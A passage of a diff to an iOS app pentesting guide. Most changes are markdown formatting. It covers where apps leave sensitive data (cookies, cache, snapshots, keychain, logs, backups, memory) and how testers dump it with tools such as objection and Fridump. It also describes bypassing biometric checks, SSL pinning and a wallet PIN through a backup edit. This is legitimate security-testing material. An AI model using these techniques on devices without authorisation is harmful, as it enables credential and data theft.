-{% page-ref page="../../pentesting/pentesting-web/buckets/firebase-database.md" %} +{% content-ref url="../../pentesting/pentesting-web/buckets/firebase-database.md" %} +[firebase-database.md](../../pentesting/pentesting-web/buckets/firebase-database.md) +{% endcontent-ref %} ### Realm databases @@ -412,7 +421,7 @@ do { ### Couchbase Lite Databases -[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) is a lightweight, embedded, document-oriented \(NoSQL\) database engine that can be synced. It compiles natively for iOS and macOS. +[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) is a lightweight, embedded, document-oriented (NoSQL) database engine that can be synced. It compiles natively for iOS and macOS. Check for possible couchbase databases in `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/` @@ -420,8 +429,8 @@ Check for possible couchbase databases in `/private/var/mobile/Containers/Data/A iOS store the cookies of the apps in the **`Library/Cookies/cookies.binarycookies`** inside each apps folder. However, developers sometimes decide to save them in the **keychain** as the mentioned **cookie file can be accessed in backups**. -To inspect the cookies file you can use [**this python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) **\*\*or use** objection's **`ios cookies get`. -You can also use objection to** convert these files to a JSON\*\* format and inspect the data. +To inspect the cookies file you can use [**this python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) **\*\*or use** objection's **`ios cookies get`.**\ +**You can also use objection to** convert these files to a JSON\*\* format and inspect the data. ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json @@ -441,29 +450,27 @@ You can also use objection to** convert these files to a JSON\*\* format and ins ### Cache -By default NSURLSession stores data, such as **HTTP requests and responses in the Cache.db** database. This database can contain **sensitive data**, if tokens, usernames or any other sensitive information has been cached. To find the cached information open the data directory of the app \(`/var/mobile/Containers/Data/Application/`\) and go to `/Library/Caches/`. The **WebKit cache is also being stored in the Cache.db** file. **Objection** can open and interact with the database with the command `sqlite connect Cache.db`, as it is a n**ormal SQLite database**. +By default NSURLSession stores data, such as **HTTP requests and responses in the Cache.db** database. This database can contain **sensitive data**, if tokens, usernames or any other sensitive information has been cached. To find the cached information open the data directory of the app (`/var/mobile/Containers/Data/Application/`) and go to `/Library/Caches/`. The **WebKit cache is also being stored in the Cache.db** file. **Objection** can open and interact with the database with the command `sqlite connect Cache.db`, as it is a n**ormal SQLite database**. It is **recommended to disable Caching this data**, as it may contain sensitive information in the request or response. The following list below shows different ways of achieving this: -1. It is recommended to remove Cached responses after logout. This can be done with the provided method by Apple called [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) You can call this method as follows: +1. It is recommended to remove Cached responses after logout. This can be done with the provided method by Apple called [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) You can call this method as follows: - `URLCache.shared.removeAllCachedResponses()` + `URLCache.shared.removeAllCachedResponses()` - This method will remove all cached requests and responses from Cache.db file. + This method will remove all cached requests and responses from Cache.db file. +2. If you don't need to use the advantage of cookies it would be recommended to just use the [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) configuration property of URLSession, which will disable saving cookies and Caches. -2. If you don't need to use the advantage of cookies it would be recommended to just use the [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) configuration property of URLSession, which will disable saving cookies and Caches. - - [Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): - - `An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.` + [Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): + `An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.` 3. Cache can be also disabled by setting the Cache Policy to [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). It will disable storing Cache in any fashion, either in memory or on disk. ### Snapshots -Whenever you press the home button, iOS **takes a snapshot of the current screen** to be able to do the transition to the application on a much smoother way. However, if **sensitive** **data** is present in the current screen, it will be **saved** in the **image** \(which **persists** **across** **reboots**\). These are the snapshots that you can also access double tapping the home screen to switch between apps. +Whenever you press the home button, iOS **takes a snapshot of the current screen** to be able to do the transition to the application on a much smoother way. However, if **sensitive** **data** is present in the current screen, it will be **saved** in the **image** (which **persists** **across** **reboots**). These are the snapshots that you can also access double tapping the home screen to switch between apps. -Unless the iPhone is jailbroken, the **attacker** needs to have **access** to the **device** **unblocked** to see these screenshots. By default the last snapshot is stored in the application's sandbox in `Library/Caches/Snapshots/` or `Library/SplashBoard/Snapshots` folder \(the trusted computers can' t access the filesystem from iOX 7.0\). +Unless the iPhone is jailbroken, the **attacker** needs to have **access** to the **device** **unblocked** to see these screenshots. By default the last snapshot is stored in the application's sandbox in `Library/Caches/Snapshots/` or `Library/SplashBoard/Snapshots` folder (the trusted computers can' t access the filesystem from iOX 7.0). Once way to prevent this bad behaviour is to put a blank screen or remove the sensitive data before taking the snapshot using the `ApplicationDidEnterBackground()` function. @@ -488,7 +495,7 @@ func applicationWillEnterForeground(_ application: UIApplication) { Objective-C: -```text +``` @property (UIImageView *)backgroundImage; - (void)applicationDidEnterBackground:(UIApplication *)application { @@ -507,12 +514,12 @@ This sets the background image to `overlayImage.png` whenever the application is ### Keychain -Tools like [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) can be used to dump the keychain \(the dive must be jailbroken\). +Tools like [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) can be used to dump the keychain (the dive must be jailbroken).\ You can also use `ios keychain dump` from [**Objection**](https://github.com/sensepost/objection)**.** #### **NSURLCredential** -**NSURLCredential** is the perfect class to **store username and password in the keychain**. No need to bother with NSUserDefaults nor any keychain wrapper. +**NSURLCredential** is the perfect class to **store username and password in the keychain**. No need to bother with NSUserDefaults nor any keychain wrapper.\ **\*\*Once the user is logged in, you can** store\*\* his username and password to the keychain: ```swift @@ -526,12 +533,12 @@ You can use **Objection's** `ios nsurlcredentialstorage dump` to dump these secr ## Custom Keyboards/Keyboard Cache -From iOS 8.0 Apple allows to install custom extensions for iOS like custom keyboards. -The installed keyboards can be managed via **Settings** > **General** > **Keyboard** > **Keyboards** -Custom keyboards can be used to **sniff** the **keystrokes** and send them to the attacker server. However, note that **custom keyboards requiring networking connectivity will be notified to the user.** -Also, the **user can switch to a different** \(more trusted\) **keyboard** for introducing the credentials. +From iOS 8.0 Apple allows to install custom extensions for iOS like custom keyboards.\ +The installed keyboards can be managed via **Settings** > **General** > **Keyboard** > **Keyboards**\ +Custom keyboards can be used to **sniff** the **keystrokes** and send them to the attacker server. However, note that **custom keyboards requiring networking connectivity will be notified to the user.**\ +Also, the **user can switch to a different** (more trusted) **keyboard** for introducing the credentials. -Moreover, **applications can prevent its users from using custom keyboards** within the app \(or at least for sensitive parts of the app\). +Moreover, **applications can prevent its users from using custom keyboards** within the app (or at least for sensitive parts of the app). {% hint style="warning" %} It's recommended to not allow third party keyboards if you consider the users won't need them @@ -539,11 +546,11 @@ It's recommended to not allow third party keyboards if you consider the users wo Note that because of auto-correct and auto-suggestions, the default iOS keyboard will capture and store each non-standard word word in a cache file if the attribute **securetTextEntry** is not set to **true** or if **autoCorrectionType** is not set to **UITextAutoCorrectionTypeNo.** -By default the keyboards **store this cache** inside the applications sandbox in `Library/Keyboard/{locale}-dynamic-text.dat` file or in `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. However, it might be saving the dateaelsewhere. -It's possible to reset the cache in _**Settings**_ > _**General**_ > _**Reset**_ > _**Reset Keyboard Dictionary**_ +By default the keyboards **store this cache** inside the applications sandbox in `Library/Keyboard/{locale}-dynamic-text.dat` file or in `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. However, it might be saving the dateaelsewhere.\ +It's possible to reset the cache in _**Settings**_ > _**General**_ > _**Reset**_ > _**Reset Keyboard Dictionary**_ {% hint style="info" %} -Therefore, **check always these files** and search for possible **sensitive** **information**. +Therefore, **check always these files** and search for possible **sensitive** **information**.\ **Intercepting the network traffic** is another way to check if the custom keyboard is sending keystroked to a remote server. {% endhint %} @@ -572,10 +579,10 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo; ## **Logs** -The most common ways to debug code is using logging, and the application **may print sensitive information inside the logs**. -In iOS version 6 and below, logs were world readable \(a malicious app could read logs from other apps and extract sensitive information from there\). **Nowadays, apps can only access their own logs**. +The most common ways to debug code is using logging, and the application **may print sensitive information inside the logs**.\ +In iOS version 6 and below, logs were world readable (a malicious app could read logs from other apps and extract sensitive information from there). **Nowadays, apps can only access their own logs**. -However, an **attacker** with **physical** **access** to an **unlocked** device can connect it to a computer and **read the logs** \(note that the logs written to disk by an app aren't removed if the app ins uninstalled\). +However, an **attacker** with **physical** **access** to an **unlocked** device can connect it to a computer and **read the logs** (note that the logs written to disk by an app aren't removed if the app ins uninstalled). It's recommended to **navigate through all the screens** of the app and **interact** with **every** UI element and **functionality** of and provide input text in all text fields and **review the logs** looking for **sensitive** **information** exposed. @@ -592,16 +599,16 @@ Use the following keywords to check the app's source code for predefined and cus #### Monitoring System Logs -Many apps log informative \(and potentially sensitive\) messages to the console log. The log also contains crash reports and other useful information. You can collect console logs through the Xcode **Devices** window as follows: +Many apps log informative (and potentially sensitive) messages to the console log. The log also contains crash reports and other useful information. You can collect console logs through the Xcode **Devices** window as follows: 1. Launch Xcode. 2. Connect your device to your host computer. -3. Choose **Window** -> **Devices and Simulators**. +3. Choose **Window** -> **Devices and Simulators**. 4. Click on your connected iOS device in the left section of the Devices window. 5. Reproduce the problem. 6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window. -![](../../.gitbook/assets/image%20%28466%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%283%29%20%283%29.png) +![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (3).png>) You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command: @@ -622,14 +629,14 @@ Jun 7 13:42:14 iPhone touch[9708] : MS:Notice: Injecting: (null) [touch ## Backups -iOS includes auto-backup features that create copies of the data stored on the device. You can **make iOS backups** from your host computer by using iTunes \(till macOS Catalina\) or Finder \(from macOS Catalina onwards\), or via the iCloud backup feature. In both cases, the backup includes nearly all data stored on the iOS device except highly sensitive data such as Apple Pay information and Touch ID settings. +iOS includes auto-backup features that create copies of the data stored on the device. You can **make iOS backups** from your host computer by using iTunes (till macOS Catalina) or Finder (from macOS Catalina onwards), or via the iCloud backup feature. In both cases, the backup includes nearly all data stored on the iOS device except highly sensitive data such as Apple Pay information and Touch ID settings. Since iOS backs up installed apps and their data, an obvious concern is whether **sensitive user data** stored by the app might **unintentionally leak through the backup**. Another concern, though less obvious, is whether **sensitive configuration settings used to protect data or restrict app functionality could be tampered to change app behaviour after restoring a modified backup**. Both concerns are valid and these vulnerabilities have proven to exist in a vast number of apps today. -A backup of a device on which a mobile application has been installed will include all subdirectories \(except for `Library/Caches/`\) and files in the [app's private directory](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW12). +A backup of a device on which a mobile application has been installed will include all subdirectories (except for `Library/Caches/`) and files in the [app's private directory](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW12).\ Therefore, **avoid storing sensitive data in plaintext within any of the files or folders that are in the app's private directory or subdirectories**. -Although all the files in `Documents/` and `Library/Application Support/` are always backed up by default, you can [exclude files from the backup](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW28) by calling `NSURL setResourceValue:forKey:error:` with the `NSURLIsExcludedFromBackupKey` key. +Although all the files in `Documents/` and `Library/Application Support/` are always backed up by default, you can [exclude files from the backup](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW28) by calling `NSURL setResourceValue:forKey:error:` with the `NSURLIsExcludedFromBackupKey` key.\ You can use the [NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple_ref/c/data/NSURLIsExcludedFromBackupKey) and [CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple_ref/c/data/kCFURLIsExcludedFromBackupKey) file system properties to exclude files and directories from backups. {% hint style="warning" %} @@ -638,9 +645,9 @@ Therefore when checking the backup of an application you should check if **any s #### How to test -Start by **creating a backup of the device** \(you can do it using Finder\) and finding where is the backup stored. The official Apple documentation will help you to [locate backups of your iPhone, iPad, and iPod touch](https://support.apple.com/en-us/HT204215). +Start by **creating a backup of the device** (you can do it using Finder) and finding where is the backup stored. The official Apple documentation will help you to [locate backups of your iPhone, iPad, and iPod touch](https://support.apple.com/en-us/HT204215). -Once you have found the backup of the device \(`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`\) you can start looking for sensitive information using grep for example, or using tools like [iMazing](https://imazing.com)\). +Once you have found the backup of the device (`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`) you can start looking for sensitive information using grep for example, or using tools like [iMazing](https://imazing.com)). To identify if a backup is encrypted, you can check the key named "IsEncrypted" from the file "Manifest.plist", located at the root of the backup directory. The following example shows a configuration indicating that the backup is encrypted: @@ -657,27 +664,27 @@ To identify if a backup is encrypted, you can check the key named "IsEncrypted" ``` -In case you need to work with an encrypted backup, there are some Python scripts in [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), such as **backup\_tool.py** and **backup\_passwd.py**, that will serve as a good starting point. However, note that they might not work with the latest iTunes/Finder versions and might need to be tweaked. +In case you need to work with an encrypted backup, there are some Python scripts in [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), such as **backup_tool.py** and **backup_passwd.py**, that will serve as a good starting point. However, note that they might not work with the latest iTunes/Finder versions and might need to be tweaked. You can also use the tool [**iOSbackup**](https://pypi.org/project/iOSbackup/) to easily read and extract files from a password-encrypted iOS backup. #### How to modify the behaviour -In the open source bitcoin wallet app, [Bither](https://github.com/bither/bither-ios), you'll see that it's possible to configure a PIN to lock the UI. -This is PIN is stored in the file `net.bither.plist` inside the **pin\_code** **key**. +In the open source bitcoin wallet app, [Bither](https://github.com/bither/bither-ios), you'll see that it's possible to configure a PIN to lock the UI.\ +This is PIN is stored in the file `net.bither.plist` inside the **pin_code** **key**.\ If you clear this key from that plist in the backup and restores the backup, you will be able to access the wallet. ## Testing Memory for Sensitive Data At some point sensitive information is going to be stored in memory. The objective is to make sure that this info is exposed as briefly as possible. -To investigate an application's memory, first create a **memory dump**. Alternatively, you can **analyze the memory in real time** with, for example, a debugger. Regardless of the method you use, this is a very error-prone process because dumps provide the data left by executed functions and you might miss executing critical steps. In addition, overlooking data during analysis is quite easy to do unless you know the footprint of the data you're looking for \(either its exact value or its format\). For example, if the app encrypts according to a randomly generated symmetric key, you're very unlikely to spot the key in memory unless you find its value by other means. +To investigate an application's memory, first create a **memory dump**. Alternatively, you can **analyze the memory in real time** with, for example, a debugger. Regardless of the method you use, this is a very error-prone process because dumps provide the data left by executed functions and you might miss executing critical steps. In addition, overlooking data during analysis is quite easy to do unless you know the footprint of the data you're looking for (either its exact value or its format). For example, if the app encrypts according to a randomly generated symmetric key, you're very unlikely to spot the key in memory unless you find its value by other means. #### Retrieving and Analyzing a Memory Dump Wether you are using a jailbroken or a non-jailbroken device, you can dump the app's process memory with [objection](https://github.com/sensepost/objection) and [Fridump](https://github.com/Nightbringer21/fridump). -After the memory has been dumped \(e.g. to a file called "memory"\), depending on the nature of the data you're looking for, you'll need a set of different tools to process and analyze that memory dump. For instance, if you're focusing on strings, it might be sufficient for you to execute the command `strings` or `rabin2 -zz` to extract those strings. +After the memory has been dumped (e.g. to a file called "memory"), depending on the nature of the data you're looking for, you'll need a set of different tools to process and analyze that memory dump. For instance, if you're focusing on strings, it might be sufficient for you to execute the command `strings` or `rabin2 -zz` to extract those strings. ```bash # using strings @@ -689,7 +696,7 @@ $ rabin2 -ZZ memory > strings.txt Open `strings.txt` in your favorite editor and dig through it to identify sensitive information. -However if you'd like to inspect other kind of data, you'd rather want to use radare2 and its search capabilities. See radare2's help on the search command \(`/?`\) for more information and a list of options. The following shows only a subset of them: +However if you'd like to inspect other kind of data, you'd rather want to use radare2 and its search capabilities. See radare2's help on the search command (`/?`) for more information and a list of options. The following shows only a subset of them: ```bash $ r2 @@ -711,7 +718,7 @@ Usage: /[!bf] [arg] Search stuff (see 'e??search' for options) #### Runtime Memory Analysis -By using [**r2frida**](https://github.com/nowsecure/r2frida) you can analyze and inspect the app's memory while running and without needing to dump it. For example, you may run the previous search commands from r2frida and search the memory for a string, hexadecimal values, etc. When doing so, remember to prepend the search command \(and any other r2frida specific commands\) with a backslash `\` after starting the session with `r2 frida://usb//`. +By using [**r2frida**](https://github.com/nowsecure/r2frida) you can analyze and inspect the app's memory while running and without needing to dump it. For example, you may run the previous search commands from r2frida and search the memory for a string, hexadecimal values, etc. When doing so, remember to prepend the search command (and any other r2frida specific commands) with a backslash `\` after starting the session with `r2 frida://usb//`. ## Broken Cryptography @@ -739,7 +746,7 @@ For **more information** about iOS cryptographic APIs and libraries access [http The tester should be aware that **local authentication should always be enforced at a remote endpoint** or based on a cryptographic primitive. Attackers can easily bypass local authentication if no data returns from the authentication process. -The [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) \_\*\*\_provides a set of APIs for developers to extend an authentication dialog to a user. In the context of connecting to a remote service, it is possible \(and recommended\) to leverage the [keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) for implementing local authentication. +The [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) \_\*\*\_provides a set of APIs for developers to extend an authentication dialog to a user. In the context of connecting to a remote service, it is possible (and recommended) to leverage the [keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) for implementing local authentication. The **fingerprint ID** sensor is operated by the [SecureEnclave security coprocessor](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf) and does not expose fingerprint data to any other parts of the system. Next to Touch ID, Apple introduced _Face ID_: which allows authentication based on facial recognition. @@ -756,18 +763,18 @@ Please be aware that using either the `LocalAuthentication.framework` or the `Se Developers can display an **authentication prompt** by utilizing the function `evaluatePolicy` of the `LAContext` class. Two available policies define acceptable forms of authentication: -* `deviceOwnerAuthentication`\(Swift\) or `LAPolicyDeviceOwnerAuthentication`\(Objective-C\): When available, the user is prompted to perform Touch ID authentication. If Touch ID is not activated, the device passcode is requested instead. If the device passcode is not enabled, policy evaluation fails. -* `deviceOwnerAuthenticationWithBiometrics` \(Swift\) or `LAPolicyDeviceOwnerAuthenticationWithBiometrics`\(Objective-C\): Authentication is restricted to biometrics where the user is prompted for Touch ID. +* `deviceOwnerAuthentication`(Swift) or `LAPolicyDeviceOwnerAuthentication`(Objective-C): When available, the user is prompted to perform Touch ID authentication. If Touch ID is not activated, the device passcode is requested instead. If the device passcode is not enabled, policy evaluation fails. +* `deviceOwnerAuthenticationWithBiometrics` (Swift) or `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): Authentication is restricted to biometrics where the user is prompted for Touch ID. -The **`evaluatePolicy` function returns a boolean** value indicating whether the user has authenticated successfully. Which means that it can be easily bypassed \(see below\) +The **`evaluatePolicy` function returns a boolean** value indicating whether the user has authenticated successfully. Which means that it can be easily bypassed (see below) ### Local Authentication using Keychain -The **iOS keychain APIs can \(and should\) be used to implement local authentication**. During this process, the app stores either a secret authentication token or another piece of secret data identifying the user in the keychain. In order to authenticate to a remote service, the user must unlock the keychain using their passphrase or fingerprint to obtain the secret data. +The **iOS keychain APIs can (and should) be used to implement local authentication**. During this process, the app stores either a secret authentication token or another piece of secret data identifying the user in the keychain. In order to authenticate to a remote service, the user must unlock the keychain using their passphrase or fingerprint to obtain the secret data. -The keychain allows saving items with the special `SecAccessControl` attribute, which will allow access to the item from the keychain only after the user has passed Touch ID authentication \(or passcode, if such a fallback is allowed by attribute parameters\). +The keychain allows saving items with the special `SecAccessControl` attribute, which will allow access to the item from the keychain only after the user has passed Touch ID authentication (or passcode, if such a fallback is allowed by attribute parameters). -In the following example we will save the string "test\_strong\_password" to the keychain. The string can be accessed only on the current device while the passcode is set \(`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parameter\) and after Touch ID authentication for the currently enrolled fingers only \(`SecAccessControlCreateFlags.biometryCurrentSet` parameter\): +In the following example we will save the string "test_strong_password" to the keychain. The string can be accessed only on the current device while the passcode is set (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parameter) and after Touch ID authentication for the currently enrolled fingers only (`SecAccessControlCreateFlags.biometryCurrentSet` parameter): {% tabs %} {% tab title="Swift" %} @@ -898,7 +905,7 @@ Usage of frameworks in an app can also be detected by analyzing the app binary's $ otool -L .app/ ``` -If `LocalAuthentication.framework` is used in an app, the output will contain both of the following lines \(remember that `LocalAuthentication.framework` uses `Security.framework` under the hood\): +If `LocalAuthentication.framework` is used in an app, the output will contain both of the following lines (remember that `LocalAuthentication.framework` uses `Security.framework` under the hood): ```bash /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication @@ -926,48 +933,64 @@ If vulnerable, the module will automatically bypass the login form. ### Custom URI Handlers / Deeplinks / Custom Schemes -{% page-ref page="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} +{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} +[ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md) +{% endcontent-ref %} ### Universal Links -{% page-ref page="ios-universal-links.md" %} +{% content-ref url="ios-universal-links.md" %} +[ios-universal-links.md](ios-universal-links.md) +{% endcontent-ref %} ### UIActivity Sharing -{% page-ref page="ios-uiactivity-sharing.md" %} +{% content-ref url="ios-uiactivity-sharing.md" %} +[ios-uiactivity-sharing.md](ios-uiactivity-sharing.md) +{% endcontent-ref %} ### UIPasteboard -{% page-ref page="ios-uipasteboard.md" %} +{% content-ref url="ios-uipasteboard.md" %} +[ios-uipasteboard.md](ios-uipasteboard.md) +{% endcontent-ref %} ### App Extensions -{% page-ref page="ios-app-extensions.md" %} +{% content-ref url="ios-app-extensions.md" %} +[ios-app-extensions.md](ios-app-extensions.md) +{% endcontent-ref %} ### WebViews -{% page-ref page="ios-webviews.md" %} +{% content-ref url="ios-webviews.md" %} +[ios-webviews.md](ios-webviews.md) +{% endcontent-ref %} ### Serialisation and Encoding -{% page-ref page="ios-serialisation-and-encoding.md" %} +{% content-ref url="ios-serialisation-and-encoding.md" %} +[ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md) +{% endcontent-ref %} ## Network Communication -It's important to check that no communication is occurring **without encryption** and also that the application is correctly **validating the TLS certificate** of the server. +It's important to check that no communication is occurring **without encryption** and also that the application is correctly **validating the TLS certificate** of the server.\ To check these kind of issues you can use a proxy like **Burp**: -{% page-ref page="burp-configuration-for-ios.md" %} +{% content-ref url="burp-configuration-for-ios.md" %} +[burp-configuration-for-ios.md](burp-configuration-for-ios.md) +{% endcontent-ref %} ### Hostname check -One common issue validating the TLS certificate is to check that the certificate was signed by a **trusted** **CA**, but **not check** if **the hostname** of the certificate is the hostname being accessed. +One common issue validating the TLS certificate is to check that the certificate was signed by a **trusted** **CA**, but **not check** if **the hostname** of the certificate is the hostname being accessed.\ In order to check this issue using Burp, after trusting Burp CA in the iPhone, you can **create a new certificate with Burp for a different hostname** and use it. If the application still works, then, something it's vulnerable. ### Certificate Pinning -If an application is correctly using SSL Pinning, then the application will only works if the certificate is the once expected to be. When testing an application **this might be a problem as Burp will serve it's own certificate.** -In order to bypass this protection inside a jailbroken device, you can install the application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) **\*\*or install \[**Burp Mobile Assistant_\*\]\(_[https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing\)\](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing%29\)\*\*\* +If an application is correctly using SSL Pinning, then the application will only works if the certificate is the once expected to be. When testing an application **this might be a problem as Burp will serve it's own certificate.**\ +In order to bypass this protection inside a jailbroken device, you can install the application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) **\*\*or install \[**Burp Mobile Assistant_\*]\(_[https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)\\](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing\)/)\*\*\* You can also use **objection's** `ios sslpinning disable` @@ -977,20 +1000,20 @@ You can also use **objection's** `ios sslpinning disable` * The applications installed by the user from the App Store are located inside **`/User/Applications`** * And the **`/User/Library`** contains data saved by the user level applications * You can access **`/User/Library/Notes/notes.sqlite`** to read the notes saved inside the application. -* Inside the folder of an installed application \(**`/User/Applications//`**\) you can find some interesting files: +* Inside the folder of an installed application (**`/User/Applications//`**) you can find some interesting files: * **`iTunesArtwork`**: The icon used by the app * **`iTunesMetadata.plist`**: Info of the app used in the App Store * **`/Library/*`**: Contains the preferences and cache. In **`/Library/Cache/Snapshots/*`** you can find the snapshot performed to the application before sending it to the background. ### Hot Patching/Enforced Updateing -The developers can remotely **patch all installations of their app instantly** without having to resubmit the application to the App store and wait until it's approved. -For this purpose it's usually use [**JSPatch**](https://github.com/bang590/JSPatch)**.** But there are other options also such as [Siren](https://github.com/ArtSabintsev/Siren) and [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker). -**This is a dangerous mechanism that could be abused by malicious third party SDKs therefore it's recommended to check which method is used to automatic updating \(if any\) and test it.** You could try to download a previous version of the app for this purpose. +The developers can remotely **patch all installations of their app instantly** without having to resubmit the application to the App store and wait until it's approved.\ +For this purpose it's usually use [**JSPatch**](https://github.com/bang590/JSPatch)**.** But there are other options also such as [Siren](https://github.com/ArtSabintsev/Siren) and [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ +**This is a dangerous mechanism that could be abused by malicious third party SDKs therefore it's recommended to check which method is used to automatic updating (if any) and test it.** You could try to download a previous version of the app for this purpose. ### Third Parties -One problem of 3rd party SDKs is that there is **no granular control over the features offered by the SDK**. You could sue the SDK and have all features \(including diagnostic leaks and insecure HTTP connections\), or not use it. Also, usually it's no possible for the applications developers to **patch a vulnerability** on the SDK. +One problem of 3rd party SDKs is that there is **no granular control over the features offered by the SDK**. You could sue the SDK and have all features (including diagnostic leaks and insecure HTTP connections), or not use it. Also, usually it's no possible for the applications developers to **patch a vulnerability** on the SDK.\ Moreover some SDKs start **containing malware once they are very trusted** by the community. Besides, the features these services provide can involve t**racking services to monitor the user's behaviour** while using the app, selling banner advertisements, or improving the user experience. The downside to third-party services is that developers don't know the details of the code executed via third-party libraries. Consequently, no more information than is necessary should be sent to a service, and no sensitive information should be disclosed. @@ -1002,23 +1025,22 @@ Most third-party services are implemented in two ways: * with a standalone library * with a full SDK -All data that's sent to third-party services should be anonymized to prevent exposure of PII \(Personal Identifiable Information\) that would allow the third party to identify the user account. +All data that's sent to third-party services should be anonymized to prevent exposure of PII (Personal Identifiable Information) that would allow the third party to identify the user account. -You can find the **libraries used by an application** by running **`otool`** against the app \(and **running** it **against** **each** shared **library** to find more shared libraries used\). +You can find the **libraries used by an application** by running **`otool`** against the app (and **running** it **against** **each** shared **library** to find more shared libraries used). ## **References** -* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing\#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) +* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) * [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) ## More Information -* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course\([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)\) +* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) * [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) * [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) * [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) -* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground%20) -* OWASP 